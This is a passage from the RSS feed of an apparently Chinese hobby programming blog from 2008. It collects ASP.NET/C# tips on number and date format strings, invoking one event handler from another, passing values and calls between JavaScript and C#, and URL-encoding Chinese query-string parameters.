;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:000.000}&#34;,b);//4321.125<br/>&nbsp;&nbsp;&nbsp;b&nbsp;=&nbsp;87654321.12543;<br/>&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;12345678;<br/>//&nbsp;&nbsp;&nbsp;,&nbsp;描述：数字分组，也用于增倍器<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:0,00}&#34;,a);//&nbsp;12,345,678<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:0,00}&#34;,b);//&nbsp;87,654,32<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:0,}&#34;,a);//&nbsp;12346<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:0,}&#34;,b);//&nbsp;87654<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:0,,}&#34;,a);//&nbsp;12<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:0,,}&#34;,b);//&nbsp;88<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:0,,,}&#34;,a);//&nbsp;0<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:0,,,}&#34;,b);//&nbsp;0<br/>//&nbsp;&nbsp;&nbsp;%&nbsp;描述：格式为百分数<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:0%}&#34;,a);//&nbsp;1234567800%<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:#%}&#34;,b);//&nbsp;8765432113%<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:0.00%}&#34;,a);//&nbsp;1234567800.00%<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:#.00%}&#34;,b);//&nbsp;8765432112.54%<br/>//&nbsp;&nbsp;&nbsp;&#39;abc&#39;&nbsp;描述：显示单引号内的文本<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:&#39;文本&#39;0}&#34;,a);//&nbsp;文本12345678<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:文本0}&#34;,b);//&nbsp;文本87654321<br/>//&nbsp;&nbsp;&nbsp;\&nbsp;描述：后跟1要打印字的字符，也用于转移符\n等<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(&#34;\&#34;你好！\&#34;&#34;);//&nbsp;&#34;你好！&#34;<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(&#34;\\c\\books\\new\\we.asp&#34;);//\c\books\new\we.asp<br/>//&nbsp;&nbsp;&nbsp;@描述：后跟要打印字的字符,<br/>//&nbsp;&nbsp;&nbsp;Label1.Text&nbsp;=&nbsp;string.Format(@&#34;&#34;&#34;你好！&#34;&#34;&#34;);&nbsp;//&nbsp;&#34;你好！&#34;要打印&#34;则需要输入两对才可以<br/>//&nbsp;&nbsp;&nbsp;Label2.Text&nbsp;=&nbsp;string.Format(@&#34;\c\books\new\we.asp&#34;);//\c\books\new\we.asp<br/>格式&nbsp;原始数据&nbsp;结&nbsp;果&nbsp;<br/>&#34;{0:P}&#34;&nbsp;0.40&nbsp;40%<br/>数字&nbsp;{0:N2}&nbsp;12.36&nbsp;&nbsp;<br/>数字&nbsp;{0:N0}&nbsp;13&nbsp;&nbsp;<br/>货币&nbsp;{0:c2}&nbsp;$12.36&nbsp;&nbsp;<br/>货币&nbsp;{0:c4}&nbsp;$12.3656&nbsp;&nbsp;<br/>货币&nbsp;&#34;￥{0:N2}&#34;&nbsp;￥12.36&nbsp;&nbsp;<br/>科学计数法&nbsp;{0:E3}&nbsp;1.23E+001&nbsp;&nbsp;<br/>百分数&nbsp;{0:P}&nbsp;12.25%&nbsp;P&nbsp;and&nbsp;p&nbsp;present&nbsp;the&nbsp;same.&nbsp;<br/>日期&nbsp;{0:D}&nbsp;2006年11月25日&nbsp;&nbsp;<br/>日期&nbsp;{0:d}&nbsp;2006-11-25&nbsp;&nbsp;<br/>日期&nbsp;{0:f}&nbsp;2006年11月25日&nbsp;10:30&nbsp;&nbsp;<br/>日期&nbsp;{0:F}&nbsp;2006年11月25日&nbsp;10:30:00&nbsp;&nbsp;<br/>日期&nbsp;{0:s}&nbsp;2006-11-26&nbsp;10:30:00&nbsp;&nbsp;<br/>时间&nbsp;{0:T}&nbsp;10:30:00&nbsp;<br/><br/>DateTime&nbsp;dt&nbsp;=&nbsp;DateTime.Now;<br/>Label1.Text&nbsp;=&nbsp;dt.ToString();//2005-11-5&nbsp;13:21:25<br/>Label2.Text&nbsp;=&nbsp;dt.ToFileTime().ToString();//127756416859912816<br/>Label3.Text&nbsp;=&nbsp;dt.ToFileTimeUtc().ToString();//127756704859912816<br/>Label4.Text&nbsp;=&nbsp;dt.ToLocalTime().ToString();//2005-11-5&nbsp;21:21:25<br/>Label5.Text&nbsp;=&nbsp;dt.ToLongDateString().ToString();//2005年11月5日<br/>Label6.Text&nbsp;=&nbsp;dt.ToLongTimeString().ToString();//13:21:25<br/>Label7.Text&nbsp;=&nbsp;dt.ToOADate().ToString();//38661.5565508218<br/>Label8.Text&nbsp;=&nbsp;dt.ToShortDateString().ToString();//2005-11-5<br/>Label9.Text&nbsp;=&nbsp;dt.ToShortTimeString().ToString();//13:21<br/>Label10.Text&nbsp;=&nbsp;dt.ToUniversalTime().ToString();//2005-11-5&nbsp;5:21:25&nbsp;<br/><br/>Label1.Text&nbsp;=&nbsp;dt.Year.ToString();//2005<br/>Label2.Text&nbsp;=&nbsp;dt.Date.ToString();//2005-11-5&nbsp;0:00:00<br/>Label3.Text&nbsp;=&nbsp;dt.DayOfWeek.ToString();//Saturday<br/>Label4.Text&nbsp;=&nbsp;dt.DayOfYear.ToString();//309<br/>Label5.Text&nbsp;=&nbsp;dt.Hour.ToString();//13<br/>Label6.Text&nbsp;=&nbsp;dt.Millisecond.ToString();//441<br/>Label7.Text&nbsp;=&nbsp;dt.Minute.ToString();//30<br/>Label8.Text&nbsp;=&nbsp;dt.Month.ToString();//11<br/>Label9.Text&nbsp;=&nbsp;dt.Second.ToString();//28<br/>Label10.Text&nbsp;=&nbsp;dt.Ticks.ToString();//632667942284412864<br/>Label11.Text&nbsp;=&nbsp;dt.TimeOfDay.ToString();//13:30:28.4412864&nbsp;<br/><br/>Label1.Text&nbsp;=&nbsp;dt.ToString();//2005-11-5&nbsp;13:47:04<br/>Label2.Text&nbsp;=&nbsp;dt.AddYears(1).ToString();//2006-11-5&nbsp;13:47:04<br/>Label3.Text&nbsp;=&nbsp;dt.AddDays(1.1).ToString();//2005-11-6&nbsp;16:11:04<br/>Label4.Text&nbsp;=&nbsp;dt.AddHours(1.1).ToString();//2005-11-5&nbsp;14:53:04<br/>Label5.Text&nbsp;=&nbsp;dt.AddMilliseconds(1.1).ToString();//2005-11-5&nbsp;13:47:04<br/>Label6.Text&nbsp;=&nbsp;dt.AddMonths(1).ToString();//2005-12-5&nbsp;13:47:04<br/>Label7.Text&nbsp;=&nbsp;dt.AddSeconds(1.1).ToString();//2005-11-5&nbsp;13:47:05<br/>Label8.Text&nbsp;=&nbsp;dt.AddMinutes(1.1).ToString();//2005-11-5&nbsp;13:48:10<br/>Label9.Text&nbsp;=&nbsp;dt.AddTicks(1000).ToString();//2005-11-5&nbsp;13:47:04<br/>Label10.Text&nbsp;=&nbsp;dt.CompareTo(dt).ToString();//0<br/>Label11.Text&nbsp;=&nbsp;dt.Add(?).ToString();//问号为一个时间段&nbsp;<br/><br/>Label1.Text&nbsp;=&nbsp;dt.Equals(&#34;2005-11-6&nbsp;16:11:04&#34;).ToString();//False<br/>Label2.Text&nbsp;=&nbsp;dt.Equals(dt).ToString();//True<br/>Label3.Text&nbsp;=&nbsp;dt.GetHashCode().ToString();//1474088234<br/>Label4.Text&nbsp;=&nbsp;dt.GetType().ToString();//System.DateTime<br/>Label5.Text&nbsp;=&nbsp;dt.GetTypeCode().ToString();//DateTime&nbsp;<br/><br/>Label1.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;s&#39;)[0].ToString();//2005-11-05T14:06:25<br/>Label2.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;t&#39;)[0].ToString();//14:06<br/>Label3.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;y&#39;)[0].ToString();//2005年11月<br/>Label4.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;D&#39;)[0].ToString();//2005年11月5日<br/>Label5.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;D&#39;)[1].ToString();//2005&nbsp;11&nbsp;05<br/>Label6.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;D&#39;)[2].ToString();//星期六&nbsp;2005&nbsp;11&nbsp;05<br/>Label7.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;D&#39;)[3].ToString();//星期六&nbsp;2005年11月5日<br/>Label8.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;M&#39;)[0].ToString();//11月5日<br/>Label9.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;f&#39;)[0].ToString();//2005年11月5日&nbsp;14:06<br/>Label10.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;g&#39;)[0].ToString();//2005-11-5&nbsp;14:06<br/>Label11.Text&nbsp;=&nbsp;dt.GetDateTimeFormats(&#39;r&#39;)[0].ToString();//Sat,&nbsp;05&nbsp;Nov&nbsp;2005&nbsp;14:06:25&nbsp;GMT&nbsp;<br/><br/>Label1.Text&nbsp;=&nbsp;string.Format(&#34;{0:d}&#34;,dt);//2005-11-5<br/>Label2.Text&nbsp;=&nbsp;string.Format(&#34;{0:D}&#34;,dt);//2005年11月5日<br/>Label3.Text&nbsp;=&nbsp;string.Format(&#34;{0:f}&#34;,dt);//2005年11月5日&nbsp;14:23<br/>Label4.Text&nbsp;=&nbsp;string.Format(&#34;{0:F}&#34;,dt);//2005年11月5日&nbsp;14:23:23<br/>Label5.Text&nbsp;=&nbsp;string.Format(&#34;{0:g}&#34;,dt);//2005-11-5&nbsp;14:23<br/>Label6.Text&nbsp;=&nbsp;string.Format(&#34;{0:G}&#34;,dt);//2005-11-5&nbsp;14:23:23<br/>Label7.Text&nbsp;=&nbsp;string.Format(&#34;{0:M}&#34;,dt);//11月5日<br/>Label8.Text&nbsp;=&nbsp;string.Format(&#34;{0:R}&#34;,dt);//Sat,&nbsp;05&nbsp;Nov&nbsp;2005&nbsp;14:23:23&nbsp;GMT<br/>Label9.Text&nbsp;=&nbsp;string.Format(&#34;{0:s}&#34;,dt);//2005-11-05T14:23:23<br/>Label10.Text&nbsp;&nbsp;&nbsp;string.Format(&#34;{0:t}&#34;,dt);//14:23<br/>Label11.Text&nbsp;=&nbsp;string.Format(&#34;{0:T}&#34;,dt);//14:23:23<br/>Label12.Text&nbsp;=&nbsp;string.Format(&#34;{0:u}&#34;,dt);//2005-11-05&nbsp;14:23:23Z<br/>Label13.Text&nbsp;=&nbsp;string.Format(&#34;{0:U}&#34;,dt);//2005年11月5日&nbsp;6:23:23<br/>Label14.Text&nbsp;=&nbsp;string.Format(&#34;{0:Y}&#34;,dt);//2005年11月<br/>Label15.Text&nbsp;=&nbsp;string.Format(&#34;{0}&#34;,dt);//2005-11-5&nbsp;14:23:23<br/>Label16.Text&nbsp;=&nbsp;string.Format(&#34;{0:yyyyMMddHHmmssffff}&#34;,dt);<br/>stringstr1&nbsp;=string.Format(&#34;{0:N1}&#34;,56789);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//result:&nbsp;56,789.0<br/>stringstr2&nbsp;=string.Format(&#34;{0:N2}&#34;,56789);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//result:&nbsp;56,789.00<br/>stringstr3&nbsp;=string.Format(&#34;{0:N3}&#34;,56789);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//result:&nbsp;56,789.000<br/>stringstr8&nbsp;=string.Format(&#34;{0:F1}&#34;,56789);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//result:&nbsp;56789.0<br/>stringstr9&nbsp;=string.Format(&#34;{0:F2}&#34;,56789);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//result:&nbsp;56789.00<br/>stringstr11&nbsp;=(56789&nbsp;/&nbsp;100.0).ToString(&#34;#.##&#34;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//result:&nbsp;567.89<br/>stringstr12&nbsp;=(56789&nbsp;/&nbsp;100).ToString(&#34;#.##&#34;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//result:&nbsp;567<br/><br/>C&nbsp;或&nbsp;c<br/>货币<br/>Console.Write(&#34;{0:C}&#34;,&nbsp;2.5);&nbsp;&nbsp;&nbsp;//$2.50<br/>Console.Write(&#34;{0:C}&#34;,&nbsp;-2.5);&nbsp;//($2.50)<br/><br/>D&nbsp;或&nbsp;d<br/>十进制数<br/>Console.Write(&#34;{0:D5}&#34;,&nbsp;25);&nbsp;&nbsp;&nbsp;//00025<br/><br/>E&nbsp;或&nbsp;e<br/>科学型<br/>Console.Write(&#34;{0:E}&#34;,&nbsp;250000);&nbsp;&nbsp;&nbsp;//2.500000E+005<br/><br/>F&nbsp;或&nbsp;f<br/>固定点<br/>Console.Write(&#34;{0:F2}&#34;,&nbsp;25);&nbsp;&nbsp;&nbsp;//25.00<br/>Console.Write(&#34;{0:F0}&#34;,&nbsp;25);&nbsp;&nbsp;&nbsp;//25<br/><br/>G&nbsp;或&nbsp;g<br/>常规<br/>Console.Write(&#34;{0:G}&#34;,&nbsp;2.5);&nbsp;&nbsp;&nbsp;//2.5<br/><br/>N&nbsp;或&nbsp;n<br/>数字<br/>Console.Write(&#34;{0:N}&#34;,&nbsp;2500000);&nbsp;&nbsp;&nbsp;//2,500,000.00<br/><br/>X&nbsp;或&nbsp;x<br/>十六进制<br/>Console.Write(&#34;{0:X}&#34;,&nbsp;250);&nbsp;&nbsp;&nbsp;//FA<br/>Console.Write(&#34;{0:X}&#34;,&nbsp;0xffff);&nbsp;&nbsp;&nbsp;//FFFF]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=146</link>
			<title><![CDATA[C#一个事件中调用另一个事件 ]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Tue,12 Aug 2008 11:49:21 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=146</guid>	
		<description><![CDATA[C#一个事件中调用另一个事件&nbsp;<br/><br/>为ImageButton1注册事件<br/>protected&nbsp;void&nbsp;Page_Load(object&nbsp;sender,&nbsp;EventArgs&nbsp;e)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;ImageButton1.Click&nbsp;+=&nbsp;new&nbsp;ImageClickEventHandler(Button1_Click);<br/>}<br/>protected&nbsp;void&nbsp;Button1_Click(object&nbsp;sender,&nbsp;EventArgs&nbsp;e)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;ClientScript.RegisterStartupScript(this.GetType(),&nbsp;&#34;script&#34;,&nbsp;&#34;alert(&#39;You&nbsp;Clicked&nbsp;the&nbsp;button&#39;);&#34;,&nbsp;true);<br/>}<br/>protected&nbsp;void&nbsp;ImageButton1_Click(object&nbsp;sender,&nbsp;ImageClickEventArgs&nbsp;e)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;strValue&nbsp;=&nbsp;&#34;ABC&#34;;<br/>}&nbsp;<br/>这样，点击ImageButton1之后就会同时执行&nbsp;ImageButton1_Click和Button1_Click两个事件&nbsp;<br/><br/><br/><br/>可以这么些代码&nbsp;<br/>//button1的单击事件&nbsp;<br/>private&nbsp;void&nbsp;button1_click(object&nbsp;sender,&nbsp;system.eventargs&nbsp;e)&nbsp;<br/>{&nbsp;<br/>//代码过程&nbsp;<br/>}&nbsp;<br/><br/>//在button2的单击事件中调用button1的单击事件&nbsp;<br/>private&nbsp;void&nbsp;button2_click(object&nbsp;sender,&nbsp;system.eventargs&nbsp;e)&nbsp;<br/>{&nbsp;<br/>button1_click(sender,e);&nbsp;<br/>}&nbsp;]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=145</link>
			<title><![CDATA[net中前台javascript与后台c#函数相互调用问题]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Tue,12 Aug 2008 10:33:23 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=145</guid>	
		<description><![CDATA[c#代码与javaScript函数的相互调用<br/><br/>问：<br/>1.如何在JavaScript访问C#函数?<br/>2.如何在JavaScript访问C#变量?<br/>3.如何在C#中访问JavaScript的已有变量?<br/>4.如何在C#中访问JavaScript函数?<br/><br/>问题1答案如下：<br/>javaScript函数中执行C#代码中的函数：<br/>方法一：1、首先建立一个按钮，在后台将调用或处理的内容写入button_click中;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2、在前台写一个js函数，内容为document.getElementById(&#34;btn1&#34;).click();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3、在前台或后台调用js函数，激发click事件，等于访问后台c#函数；<br/><br/>方法二：1、函数声明为public&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;后台代码(把public改成protected也可以)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;ss()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return(&#34;a&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2、在html里用&lt;%=fucntion()%&gt;可以调用<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;前台脚本<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;script&nbsp;language=javascript&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;a&nbsp;=&nbsp;&#34;&lt;%=ss()%&gt;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(a);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;<br/>方法三：1、&lt;script&nbsp;language=&#34;javascript&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!--<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;__doPostBack(eventTarget,&nbsp;eventArgument)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;theForm&nbsp;=&nbsp;document.Form1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//指runat=server的form<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;theForm.__EVENTTARGET.value&nbsp;=&nbsp;eventTarget;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;theFrom.__EVENTARGUMENT.value&nbsp;=&nbsp;eventArgument;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;theForm.submit();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;id=&#34;Button1&#34;&nbsp;type=&#34;button&#34;&nbsp;name=&#34;Button1&#34;&nbsp;value=&#34;按钮&#34;&nbsp;onclick=&#34;javascript:__doPostBack(&#39;Button1&#39;,&#39;&#39;)&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>方法四：&lt;script&nbsp;language=&#34;javascript&#34;&gt;<br/>function&nbsp;SubmitKeyClick()<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(event.keyCode&nbsp;==&nbsp;13)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.cancelBubble&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.all.FunName.value=&#34;你要调用的函数名&#34;；<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.form[0].submit();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}<br/>&lt;/script&gt;<br/><br/>&lt;INPUT&nbsp;onkeypress=&#34;SubmitKeyClick()&#34;&nbsp;id=&#34;aaa&#34;&nbsp;type=&#34;text&#34;&gt;<br/>&lt;input&nbsp;type=&#34;hidden&#34;&nbsp;name=&#34;FunName&#34;&gt;&nbsp;〈！--用来存储你要调用的函数&nbsp;--〉<br/><br/>在.CS里有：<br/>public&nbsp;Page_OnLoad()<br/>{<br/>if&nbsp;(!Page.IsPost())<br/>{<br/>string&nbsp;strFunName=Request.Form[&#34;FunName&#34;]!=null?Request.Form[&#34;FunName&#34;]:&#34;&#34;;<br/>//根据传回来的值决定调用哪个函数<br/>switch(strFunName)<br/>{<br/>case&nbsp;&#34;enter()&#34;:<br/>enter()&nbsp;;&nbsp;//调用该函数<br/>break;<br/>case&nbsp;&#34;其他&#34;:<br/>//调用其他函数<br/>break;<br/>default:<br/>//调用默认函数<br/>break;<br/>}<br/>}<br/>}<br/><br/>public&nbsp;void&nbsp;enter()<br/>{<br/>//……比如计算某值<br/>}<br/><br/>问题2.如何在JavaScript访问C#变量?<br/>答案如下：<br/>方法一：1、通过页面上隐藏域访问&lt;input&nbsp;id=&#34;xx&#34;&nbsp;type=&#34;hidden&#34;&nbsp;runat=&#34;server&#34;&gt;<br/>方法二：1、如后台定义了PUBLIC&nbsp;STRING&nbsp;N;前台js中引用该变量的格式为&#39;&lt;%=n%&gt;&#39;或&#34;+&lt;%=n%&gt;+&#34;<br/>方法三：1、或者你可以在服务器端变量赋值后在页面注册一段脚本<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#34;&lt;script&nbsp;language=&#39;javascript&#39;&gt;var&nbsp;temp=&#34;&nbsp;+&nbsp;tmp&nbsp;+&nbsp;&#34;&lt;/script&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp是后台变量，然后js中可以直接访问temp获得值。<br/><br/><br/>3.如何在C#中访问JavaScript的已有变量?<br/><br/>答案如下：<br/><br/>方法一：1、前台使用静态文本控件隐藏域，将js变量值写入其中；<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2、后台用request[&#34;id&#34;]来获取值；<br/><br/>方法二：可以用cookie或session<br/><br/><br/>4.如何在C#中访问JavaScript函数?<br/>答案如下：<br/>c#代码中执行javaScript函数：<br/>方法一：1、Page.RegisterStartupScript(&#34;ggg&#34;,&#34;&lt;script&gt;SetVisible(1);&lt;/script&gt;&#34;);<br/>方法二：使用Literal类，然后<br/>private&nbsp;void&nbsp;Button2_Click(object&nbsp;sender,&nbsp;System.EventArgs&nbsp;e)<br/>{<br/>string&nbsp;str;<br/>str=&#34;&lt;script&nbsp;language=&#39;javascript&#39;&gt;&#34;;<br/>str+=&#34;sel&#101;ctRange()&#34;;<br/>str+=&#34;&lt;/script&gt;&#34;;<br/>//Literal1.Visible=true;<br/>Literal1.Text=str;<br/>}<br/>&nbsp;<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=143</link>
			<title><![CDATA[通过Request传中文 解析赋值时出现乱码 ]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Tue,12 Aug 2008 09:47:15 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=143</guid>	
		<description><![CDATA[通过Request传中文&nbsp;解析赋值时出现乱码&nbsp;<br/><br/><br/>在利用如下格式进行传参时<br/><br/>APage.aspx?UserID=1&amp;UserName=张三<br/><br/>UserName后对应的中文名字超过2个汉字时<br/><br/>到APage.aspx页面解析赋值时<br/><br/>this.TextBox1.Text&nbsp;=&nbsp;Request.QueryString[&#34;UserName&#34;]<br/><br/>会出现乱码<br/><br/>&nbsp;<br/><br/>应该进行如下编码转换<br/><br/>APage.aspx?UserName=&#34;+HttpUtility.UrlEncode(&#34;张三李四&#34;)+&#34;&amp;UserID=1&#34;&nbsp;&nbsp;<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=136</link>
			<title><![CDATA[.net格式字串收集]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Tue,17 Jun 2008 17:50:30 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=136</guid>	
